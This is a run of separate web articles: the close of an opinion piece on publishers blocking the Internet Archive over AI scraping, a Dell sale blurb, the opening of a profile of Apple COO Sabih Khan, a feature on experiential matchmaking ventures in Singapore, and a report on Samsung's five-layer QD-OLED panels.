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Now we’re carving out exceptions based on who might access content and what they might do with it. And once you start making those exceptions, where do they end? If the Internet Archive can be blocked because AI companies might use it, what about research databases? What about accessibility tools that help visually impaired users? What about the next technology we haven’t invented yet?

This is a real concern. People say “oh well, blocking machines is different from blocking humans,” but that’s exactly why I mention assistive tech for the visually impaired. Machines accessing content are frequently tools that help humans—including me. I use an AI tool to help fact check my articles, and part of that process involves feeding it the source links. But increasingly, the tool tells me it can’t access those articles to verify whether my coverage accurately reflects them.

I don’t have a clean answer here. Publishers genuinely need to find sustainable business models, and watching their work get ingested by AI systems without compensation is a legitimate grievance—especially when you see how much traffic some of these (usually less scrupulous) crawlers dump on sites. But the solution can’t be to break the historical record of the internet. It can’t be to ensure that our most trusted sources of information are the ones that disappear from archives while the least trustworthy ones remain.

We need to find ways to address AI training concerns that don’t require us to abandon the principle of an open, preservable web. Because right now, we’re building a future where historians, researchers, and citizens can’t access the journalism that documented our era. And that’s not a tradeoff any of us should be comfortable with.

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Filed Under: ai, archives, culture, libraries, scanning, scraping

Companies: internet archive, ny times, the guardian, usa today

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Dell’s Presidents’ Day sale is a goldmine for professionals

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Dell’s running a superb Presidents’ Day sale right now – and I’ve been browsing the desktop and laptop deals to find some top picks for business professionals.

For general productivity, you can’t go wrong with the Dell 15 Laptop, now $499.99 (was $719.99). Although there’s forever a place in my heart for the ultra-lightweight XPS 13 that’s also in the sale. It’s so good, it’s long been part of my best business laptop guide.

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Who is Sabih Khan, Apple's Chief Operating Officer and potential CEO

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Sabih Khan is the chief operating officer at Apple, but while he has been in the role for less than a year, his tenure at Apple has lasted for decades. Here’s all you need to know about the guy in charge of Apple’s operations.

Bald man with glasses wearing a blue button-up shirt, smiling confidently, standing against an aerial view of a large circular futuristic office complex surrounded by greenery
Apple COO Sabih Khan

When it comes to Apple executives, Sabih Khan is probably one of the lesser-known personalities. While CEO Tim Cook is famous, as are other managerial members like Craig Federighi and predecessor Jeff Williams, Khan has been less prominent in the company so far.
That is in part due to having only been COO for the organization for a very short period of time compared to his executive peers. As he spends more time in the prominent role, he will become more well-known outside of the company, but it will take a while for him to become more established.
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Sick of dating apps, more S’poreans turn to “experience-driven” matchmaking

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Singaporeans are now chasing experiences, not swipes

In May 2025, several Singaporean singles boarded a group trip to Japan together—but it wasn’t their usual holiday.

Not knowing each other’s age, occupation, or relationship history, participants were paired on daily “dates,” wrote anonymous letters to those who caught their eye, and completed mini couple missions designed to spark connection.

Like contestants on dating show Single’s Inferno, they shared rooms with others of the same gender, navigating growing crushes, shifting dynamics, and the occasional emotional revelation.

This is Until 11:11, a Singapore-based dating and social experience platform that runs curated overseas trips and singles mixers. And it’s part of a movement of experience-driven matchmaking that’s gaining traction as more Singaporeans grow fatigued with traditional dating apps.

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Not your usual matchmaking experiences

At Until 11:11’s overseas singles trips, participants get to know each other over the course of four to six days. There is a focus on numerology (a practice that offers insights into personality, compatibility, and life tendencies based on an individual’s birthdate and name), apart from a mix of structured activities and free-form socialising.

After all, the platform—whose name nods to the angel number 1111, often associated with major life changes—was built around the idea of transformation and connection, explained Ching Ling Leo, the co-founder of the business.

Ching Ling, a 25-year-old student at the Nanyang Academy of Fine Arts, runs Until 11:11 together with business owner Ric Ang, 50. The pair met when Ching Ling interned at a company where Ric was working, and began hosting numerology-themed singles events in Singapore in 2024.

(Left): Until 11:11 founders Ric Ang and Ching Ling Leo; (Right): Ching Ling at a singles mixer hosted by Until 11:11 for participants in their 30s and 40s./ Image Credit: Until 11:11

Until 11:11’s local parties, held once every two to three months with about 30 participants, offer compatibility readings, tarot sessions, and even crystal-making workshops, giving attendees a unique lens into themselves and others.

The platform takes it a step further with its curated overseas trips. Launched last year, these experiences are amplified beyond the confines of a typical singles mixer, and demand appears strong, too.

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To date, Until 11:11 has organised seven groups of singles trips, typically in groups of less than 20, to destinations including Vietnam and East Malaysia, despite prices reaching up to S$1,800 per participant.

Participants at a Fishbowl singles pitch night./ Image Credit: Fishbowl

Overseas singles trips are not the only experiential dating concept on the rise in Singapore. Across the city-state, Fishbowl offers a different take: a “Shark Tank–style” singles pitch night.

Here, participants spend an evening putting themselves—or their friends—on stage in three-minute pitches. “The idea is simple—put together your best three-minute PowerPoint presentation (or a pitch in any other format), show up and present it, and mingle afterwards to get to know new people,” shared Joell Tee, the 28-year-old behind the initiative.

Joell started Fishbowl together with a friend after coming across a similar event held in Vietnam via TikTok. Initially, the duo hosted a small gathering for friends and friends of friends, but the concept quickly caught on, eventually drawing the attention of brands and larger audiences.

Since the first in Aug 2024, Joell has held four Fishbowl sessions, collaborating with brands such as Oatly and Coffee Meets Bagel to bring together singles and friends in a lively, interactive setting that can host up to 100 participants per event.

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The work behind curated matchmaking

A singles retreat organised by Until 11:11./ Image Credit: Until 11:11

However, events such as these are far from easy to organise. Overseas trips, in particular, come with a host of logistical complexities.

To handle the details, Until 11:11 partners with I Quadrant Travel Agency, which takes care of travel arrangements and on-the-ground logistics. Each trip is also planned at least six months in advance to ensure they run as smoothly as possible.

There’s also the matter of safety and vetting participants. To sign up for an Until 11:11 trip, potential attendees fill out a Google form, which allows the organisers to handpick participants. Applicants are asked to include a social media handle with a visible photo, along with a brief explanation of why they would be a good fit for the trip.

Invitations are then sent to participants deemed suitable. “The selection process and invitation sending are manual and time-consuming,” said Ching Ling, adding that overseas trips are often scheduled back-to-back with local singles events, leaving little time for rest.

Nam Soeun, founder of Teddy Lounge./ Image Credit: Teddy Lounge

Until 11:11 isn’t the only platform taking a curated approach to modern dating. Teddy Lounge, a private, invite-only dating app, operates more like a members’ club than a typical matchmaking platform—and that means more work for founder Nam Soeun.

Every applicant is screened before being admitted. Profiles are reviewed manually, background details are assessed, and shortlisted candidates may even go through interviews to determine suitability. Soeun enlists a handful of “managers” to help with this process—they not only review applications, but also personally deliver physical invitation cards to suitable applicants and explain how Teddy Lounge works.

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Memberships hinge on a “medal” system. These medals certify certain traits or achievements, and can include high income (minimum S$100K annually, verified via payslips or tax documents), ownership of prime properties, academic excellence, or social influence.

Teddy Lounge’s medals./ Image Credit: Teddy Lounge

Prospective members need at least one medal to gain access. According to Soeun, the medals aren’t meant to rank or judge members—they simply set expectations up front, reducing awkward early-stage questions and making connections more transparent from the start.

Currently, Teddy Lounge is in pre-launch, with around 500 early users already onboarded, according to its website. Soeun shared that members appreciate the platform as a space for “more natural, meaningful connections, romantic or otherwise.” The app is scheduled for an official launch in early 2026, pending final testing and refinements.

Finding meaningful connections isn’t a sure shot

Though more are turning to these platforms, finding meaningful connections isn’t a sure shot—however, the intentional approach may improve the odds.

On Teddy Lounge, users can unlock just three profiles per day—a deliberate limit to encourage “slower, more thoughtful” engagement. For those who don’t find a match right away, the app offers other ways to connect.

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Its “Party” page, for instance, lets members share or join interest-based social activities. “Some users have met through activities like poker nights on the Party page and became friends rather than romantic matches,” shared Soeun.

Until 11:11’s local singles mixers./ Image Credit: Until 11:11

As for Until 11:11, most participants become good friends and remain in contact long after, shared Ching Ling. Some form couples, others may not fully connect with the group, but still “leave with a stronger understanding of themselves.”

Initially, Ching Ling and Ric measured success by how many couples formed at their events. But it was soon clear that this metric couldn’t capture the full impact of the experiences.

Even if people are together now, they might part ways in the future. There’s no real way to gauge whether it’s “good” that two people got together, only that their meeting was fated.

Ching Ling Leo, co-founder of Until 11:11

On a more tangible level, she shared that success could be seen as customer satisfaction, like “seeing participants having fun or hanging out,” but those moments are “fleeting.”

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“Now, we see success as when participants are able to fully open themselves to the experience, embracing all their emotions and walking away feeling that they’ve learned something about themselves or life.”

Could this mark the end of traditional dating apps?

When asked about dating trends in Singapore, Ching Ling observed that there has been “a lot of singles mixers” popping up over the last few months. To her, it signals a “growing desire for real connections beyond screens.”

While the surge inevitably brings more competition for Until 11:11, she believes it’s ultimately positive for Singapore’s dating scene. Different platforms can cater to different audiences and intentions—a contrast to traditional dating apps, where users are often part of a wide, generic pool.

For many of these app users, the experience is tiring and frustrating: mismatched intentions, undefined relationships, and endless dead-end texting. Curated experiences can cut through that noise.

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Joell Tee (left) with her friend and Fishbowl co-founder./ Image Credit: Fishbowl

But not everyone sees the rise of curated experiences as a rejection of traditional dating apps.

Joell, the founder of Fishbowl, views them instead as a complement to the online dating experience. “I still believe that apps are an incredibly helpful tool to help you connect with people,” she said.

In a recent collaboration with Coffee Meets Bagel, Fishbowl tapped into the app’s user base to drive attendance at its pitch-style singles event, showing how digital and offline dating experiences can reinforce each other.

The goals of apps and in-person events are the same: put yourself out there, be open-minded and make connections.

Joell Tee, co-founder of Fishbowl

Ultimately, it’s about creating opportunities for people to engage in ways that feel authentic to them—whether that’s through a screen, in a curated group setting, or both.

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  • Read other articles we’ve written on Singaporean businesses here.

Featured Image Credit: Until 11:11/ Fishbowl

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Samsung’s new Penta QD-OLED tech promises brighter, longer-lasting screens

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Samsung Display has officially named its latest QD-OLED panel upgrade — QD-OLED Penta Tandem — and it’s designed to boost brightness and durability across premium monitors and TVs.

The key change is a shift to a five-layer blue OLED structure, up from four layers in the previous generation.

Samsung says this revised stack, combined with updated organic materials, spreads energy more efficiently across the panel. The result is higher brightness potential and longer lifespan without simply pushing more power through the display.

That matters most as screens get sharper. With higher pixel density — particularly in smaller 4K monitors — each pixel has less physical space to emit light. Keeping brightness consistent becomes harder. Samsung claims the Penta Tandem design improves luminous efficiency by 1.3x over last year’s panels and doubles panel lifespan. Consequently, this potentially allows either brighter highlights at the same power draw or similar brightness with lower strain.

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On headline figures, Samsung cites peak brightness of up to 4,500 nits for TVs and 1,300 nits for monitors, measured at a 3% on-pixel ratio (OPR). While that represents a small highlight window, it’s a useful indicator of HDR headroom for specular highlights like reflections or UI elements.

The upgrade is rolling out across several flagship panel sizes this year, including 27-inch 4K (160 PPI), 31.5-inch 4K, 34-inch WQHD, and an upcoming 49-inch Dual QHD model. Additionally, Samsung says the same five-layer approach has already appeared in high-end self-emissive TV lineups from major partners since 2025.

High-resolution monitors could see the biggest benefit. Samsung points to its 27-inch 4K QD-OLED panel at 160 pixels per inch, claiming it’s currently the highest pixel density among self-emissive gaming monitors. In fact, Samsung is the only company mass-producing that specification.

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There’s also a certification angle. Panels using Penta Tandem can meet VESA DisplayHDR True Black 500, and Samsung says the only 31.5-inch UHD monitor currently certified at that level is built on its panel.

For shoppers, “Penta Tandem” isn’t a model name but a panel generation marker. Therefore, if you’re considering a 2026 OLED monitor or TV, it’s worth checking whether it uses the new five-layer stack — especially if strong HDR highlights and long-term panel health are priorities.

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